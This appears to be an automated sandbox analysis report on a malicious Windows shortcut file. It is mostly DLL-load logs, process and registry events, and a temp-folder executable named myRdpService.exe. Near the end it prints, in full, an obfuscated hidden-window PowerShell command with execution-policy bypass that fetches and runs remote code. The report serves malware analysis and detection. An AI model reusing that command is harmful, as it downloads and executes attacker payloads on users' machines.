Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kdscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\net1.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\net1.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\net1.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: logoncli.dll
Source: C:\Windows\System32\net1.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: apphelp.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: ncrypt.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: version.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: ntasn1.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: edgegdi.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: icu.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: ntmarta.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: cryptsp.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: rsaenh.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: cryptbase.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: winhttp.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: mswsock.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: wshunix.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: dnsapi.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: winrnr.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: nlaapi.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: wshbth.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: devobj.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: napinsp.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: winsta.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: userenv.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: profapi.dll
Source: C:\Windows\Temp\myRdpService.exe	Section loaded: sspicli.dll
Source: C:\Windows\regedit.exe	Section loaded: authz.dll
Source: C:\Windows\regedit.exe	Section loaded: aclui.dll
Source: C:\Windows\regedit.exe	Section loaded: ulib.dll
Source: C:\Windows\regedit.exe	Section loaded: clb.dll
Source: C:\Windows\regedit.exe	Section loaded: uxtheme.dll
Source: C:\Windows\regedit.exe	Section loaded: ntdsapi.dll
Source: C:\Windows\regedit.exe	Section loaded: xmllite.dll
Source: C:\Windows\regedit.exe	Section loaded: edgegdi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: edgegdi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: esscli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edgegdi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll

Source: C:\Windows\System32\systeminfo.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\systeminfo.exe "C:\Windows\system32\systeminfo.exe"

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\Common

Source: C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXE

Directory created: C:\Program Files\Microsoft Office\root\vfs\Common AppData\Microsoft\Office\Heartbeat\HeartbeatCache.xml

Source: Cj3OWJHzls.lnk

Static file information: File size 38797312 > 1048576

Source:	Binary string: omation.pdbfB source: powershell.exe, 0000000C.00000002.4327442796.0000027D251B4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdb source: powershell.exe, 0000000C.00000002.4327442796.0000027D251B4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: l\System.pdb source: powershell.exe, 0000000C.00000002.4327442796.0000027D25184000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Microsoft Unified Security Protocol Provideron.pdb source: powershell.exe, 0000000C.00000002.4327442796.0000027D251B4000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: rlib.pdb source: powershell.exe, 0000000C.00000002.4335848558.0000027D25201000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: m.Management.Automation.pdb source: powershell.exe, 0000000C.00000002.4327442796.0000027D251B4000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: FromBase64String("WlZCaGRHZ2dMVWwwWlcxVWVYQmxJRVpwYkdVZ0xVWnZjbU5sSUh3Z1QzVjBMVTUxYkd3TkNnMEtJQ0FnSUNNZ1QzVjBjSFYwSUhSb1pTQm1hV3hsSUhCaGRHZ05DaUFnSUNCWFZVOUpUVk5ZUlU5WElDSkZiWEIwZVNCbWFXeGxJR055WldGMF

PowerShell case anomaly found

Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /v /k "PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAYwBBAFAAUQBBAGkAQQBDAGsAQQBLAFEAQQBwAEEAQwBrAEEATABnAEIARABBAEUAOABBAGIAZwBCADAAQQBHAFUAQQBiAGcAQgAwAEEAQwBrAEEASwBRAEEAPQAiAA=="" && exit
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAYwBBAFAAUQBBAGkAQQBDAGsAQQBLAFEAQQBwAEEAQwBrAEEATABnAEIARABBAEUAOABBAGIAZwBCADAAQQBHAFUAQQBiAGcAQgAwAEEAQwBrAEEASwBRAEEAPQAiAA=="
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe PowerSHell.Exe -WINDoWStyLe hIdDen -encOdEdComMANd "UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACIALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABIAGkAZABkAGUAbgAiACwAIAAiAC0ATgBvAEwAbwBnAG8AIgAsACAAIgAtAE4AbwBQAHIAbwBmAGkAbABlACIALAAgACIALQBFAHgAZQBjAHUAdABpAG8AbgBQAG8AbABpAGMAeQAgAEIAeQBwAGEAcwBzACIALAAgACIALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIABTAFEAQgBGAEEARgBnAEEASQBBAEEAbwBBAEYAcwBBAFYAQQBCAEYAQQBGAGcAQQBWAEEAQQB1AEEARQBVAEEAVABnAEIAagBBAEUAOABBAFIAQQBCAHAAQQBFADQAQQBSAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEARgBRAEEAVQB3AEIAMABBAEgASQBBAFMAUQBCAE8AQQBHAGMAQQBLAEEAQQBvAEEARQBrAEEAVgB3AEIAeQBBAEMAQQBBAEsAQQBCAGIAQQBGAE0AQQBlAFEAQgB6AEEASABRAEEAWgBRAEIAdABBAEMANABBAFYAQQBCAGwAQQBIAGcAQQBkAEEAQQB1AEEARQBVAEEAYgBnAEIAagBBAEcAOABBAFoAQQBCAHAAQQBHADQAQQBaAHcAQgBkAEEARABvAEEATwBnAEIAVgBBAEYAUQBBAFIAZwBBADQAQQBDADQAQQBSAHcAQgBsAEEASABRAEEAVQB3AEIAMABBAEgASQBBAGEAUQBCAHUAQQBHAGMAQQBLAEEAQgBiAEEARQBNAEEAYgB3AEIAdQBBAEgAWQBBAFoAUQBCAHkAQQBIAFEAQQBYAFEAQQA2AEEARABvAEEAUgBnAEIAeQBBAEcAOABBAGIAUQBCAEMAQQBHAEUAQQBjAHcAQgBsAEEARABZAEEATgBBAEIAVABBAEgAUQBBAGMAZwBCAHAAQQBHADQAQQBaAHcAQQBvAEEAQwBJAEEAWQBRAEIASQBBAEYASQBBAE0AQQBCAGoAQQBFAGcAQQBUAFEAQQAyAEEARQB3AEEAZQBRAEEANQBBAEcAbwBBAFkAZwBBAHkAQQBFADQAQQBkAGcAQgBpAEEARgBjAEEAVgBnAEEAdwBBAEcARQBBAFIAdwBBADUAQQBHAHMAQQBXAGcAQgBUAEEARABVAEEAYQB3AEIAYQBBAEYATQBBAE8AUQBCAHQAQQBGAGsAQQBhAHcAQgB2AEEARABFAEEAVwBnAEIAWQBBAEcAYwBBAFAAUQBBAGkAQQBDAGsAQQBLAFEAQQBwAEEAQwBrAEEATABnAEIARABBAEUAOABBAGIAZwBCADAAQQBHAFUAQQBiAGcAQgAwAEEAQwBrAEEASwBRAEEAPQAiAA=="	Jump to behavior

Suspicious powershell command line found

